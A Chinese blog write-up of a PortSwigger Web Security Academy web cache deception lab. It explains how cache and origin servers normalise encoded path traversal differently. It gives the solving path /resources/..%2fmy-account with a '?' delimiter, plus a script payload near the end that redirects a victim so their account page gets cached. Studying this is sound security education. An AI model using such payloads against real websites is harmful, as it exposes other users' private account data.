PortSwigger网络缓存欺骗(3)

检测缓存服务器的规范化

您可以使用几种不同的方法来测试缓存如何规范化路径。首先,确定潜在的静态目录。在**"代理">"HTTP 历史记录"**中,查找具有常见静态目录前缀和缓存响应的请求。通过将 HTTP 历史记录过滤器设置为仅显示响应类型为 2xx 且 MIME 类型为 script、images 和 CSS 的消息,来重点关注静态资源。

然后,您可以选择一个带有缓存响应的请求,并使用路径遍历序列和静态路径开头的任意目录重新发送该请求。选择一个响应中包含缓存痕迹的请求。例如/aaa/..%2fassets/js/stockCheck.js:

  • 如果响应不再被缓存,则表明缓存未在将路径映射到端点之前对其进行规范化。这说明存在基于/assets前缀的缓存规则。
  • 如果响应仍然被缓存,这可能表明缓存已将路径规范化/assets/js/stockCheck.js

1. 先理解正常情况

假设网站真正的 JS 文件是:

复制代码
/assets/js/stockCheck.js

你正常访问:

复制代码
https://example.com/assets/js/stockCheck.js

服务器返回 JS。

因为 /assets/ 通常被认为是静态资源目录,所以缓存服务器可能有这样的规则:

复制代码
/assets/*  →  可以缓存

于是:

复制代码
/assets/js/stockCheck.js

第一次访问:

复制代码
X-Cache: MISS

第二次访问:

复制代码
X-Cache: HIT

说明它被缓存了。


2. 现在关键来了:构造一个"看起来不一样"的 URL

例如:

复制代码
/aaa/..%2fassets/js/stockCheck.js

把 %2f 解码:

复制代码
%2f
↓
/

所以它实际上类似于:

复制代码
/aaa/../assets/js/stockCheck.js

而:

复制代码
aaa/..

意味着:

从 aaa 目录退回上一级。

所以规范化以后:

复制代码
/aaa/../assets/js/stockCheck.js
                    ↓
/assets/js/stockCheck.js

也就是说:

复制代码
/aaa/..%2fassets/js/stockCheck.js

和:

复制代码
/assets/js/stockCheck.js

最终可能指向同一个资源。

3.流程

你可以这样理解:

复制代码
第一步
找到真正的静态资源

/assets/js/stockCheck.js
             │
             ↓
         X-Cache: HIT

说明:

复制代码
/assets/ 是一个缓存目录

然后:

复制代码
第二步
制造一个"表面上不是 /assets/"的 URL

/aaa/..%2fassets/js/stockCheck.js

它经过规范化后:

复制代码
/aaa/../assets/js/stockCheck.js
              ↓
/assets/js/stockCheck.js

然后观察:

复制代码
             /aaa/..%2fassets/js/stockCheck.js
                         │
               ┌─────────┴─────────┐
               ↓                   ↓
          缓存服务器            后端服务器
               │                   │
               ↓                   ↓
       是否规范化路径?       是否规范化路径?
               │                   │
               └─────────┬─────────┘
                         ↓
                    看 X-Cache

4.最重要的是理解"两个解析器"

这是你这段实验最容易迷糊的地方。

可以把它想象成:

复制代码
             URL
              │
              ↓
        ┌───────────┐
        │   Cache   │
        └───────────┘
              │
              ↓
        判断是否缓存
              │
              ↓
        ┌───────────┐
        │ Web Server│
        └───────────┘
              │
              ↓
          找真实资源

如果两边理解一致:

复制代码
Cache:
 /aaa/..%2fassets/... 
        ↓
 /assets/...
 
Backend:
 /aaa/..%2fassets/...
        ↓
 /assets/...

一般不会产生这种缓存欺骗问题。

但是如果:5.

复制代码
Cache:
 /aaa/..%2fassets/...
        ↓
 不认为是 /assets/
        ↓
 不缓存

Backend:
 /aaa/..%2fassets/...
        ↓
 /assets/...
        ↓
 找到真实资源

就出现了解析差异。


5.非常简单的口诀

正常 URL

复制代码
/assets/js/a.js

缓存认为:

复制代码
/assets → 静态 → 缓存

测试 URL

复制代码
/aaa/..%2fassets/js/a.js

实际路径可能是:

复制代码
/aaa/../assets/js/a.js
          ↓
/assets/js/a.js

然后问缓存:

你会不会先把它规范化,再判断它是不是 /assets/?

如果不会:

复制代码
X-Cache: MISS

说明:

缓存判断和后端路径解析可能存在差异。

如果会:

复制代码
X-Cache: HIT

说明:

缓存可能已经把它规范化为 /assets/js/a.js 再进行缓存判断。

实验:利用源服务器规范化进行 Web 缓存欺骗

结合前两个实验和刚才新的规范化方法可以轻松解决本次实验

如果不知道编码转换的 burpsuit也提供了

打上payload开始测试分隔符哪个可以被使用在检测缓存服务器

通过状态可知"?"可以被用来分割url

现在构造就很简单了

因为缓存漏洞 也就是缓存服务器存在于静态资源,所以之后的构造我们需要将/aa/..改成/resources/..

即

复制代码
/resources/..%2fmy-account

但是我还是打不出hit 只能如此了

之后加入js来缓存 用?进行分隔

复制代码
<script>window.location="https://0a5c0003047a823b809d03010052002c.web-security-academy.net/resources/..%2fmy-account?a=cd.js"</script>

如果想看最后结果也可以看以下视频来帮助理解

https://www.youtube.com/watch?v=DYBBUUnYGcc

相关推荐
ShineWinsu6 小时前
对于Redis:主从复制的解析
linux·数据库·c++·redis·缓存·面试·主从复制
ShineWinsu9 小时前
对于Redis:事务的解析
数据库·redis·mysql·缓存·面试·事务·acid
JavaPub-rodert9 小时前
公共 Docker 镜像源总失效?用 Harbor Proxy Cache 自建 Docker Hub 镜像缓存
java·缓存·docker
hweiyu0012 小时前
Redis命令:HRANDFIELD
redis·缓存
sinat_2869451913 小时前
大模型推理:部署方式与性能优化思路
人工智能·算法·缓存·chatgpt·性能优化
青茶3601 天前
开发一个网站插件,什么时候用到缓存存储功能呢?
缓存·网站
海绵宝宝转agent1 天前
Pico 学习笔记 Harness 设计、历史压缩、三类目录与缓存复用
笔记·学习·缓存
ShineWinsu1 天前
对于Redis:AOF持久化的解析
linux·数据库·redis·缓存·面试·持久化·aof
仍然.1 天前
Redis---集群
数据库·redis·缓存
hweiyu001 天前
Redis命令:HSCAN
redis·缓存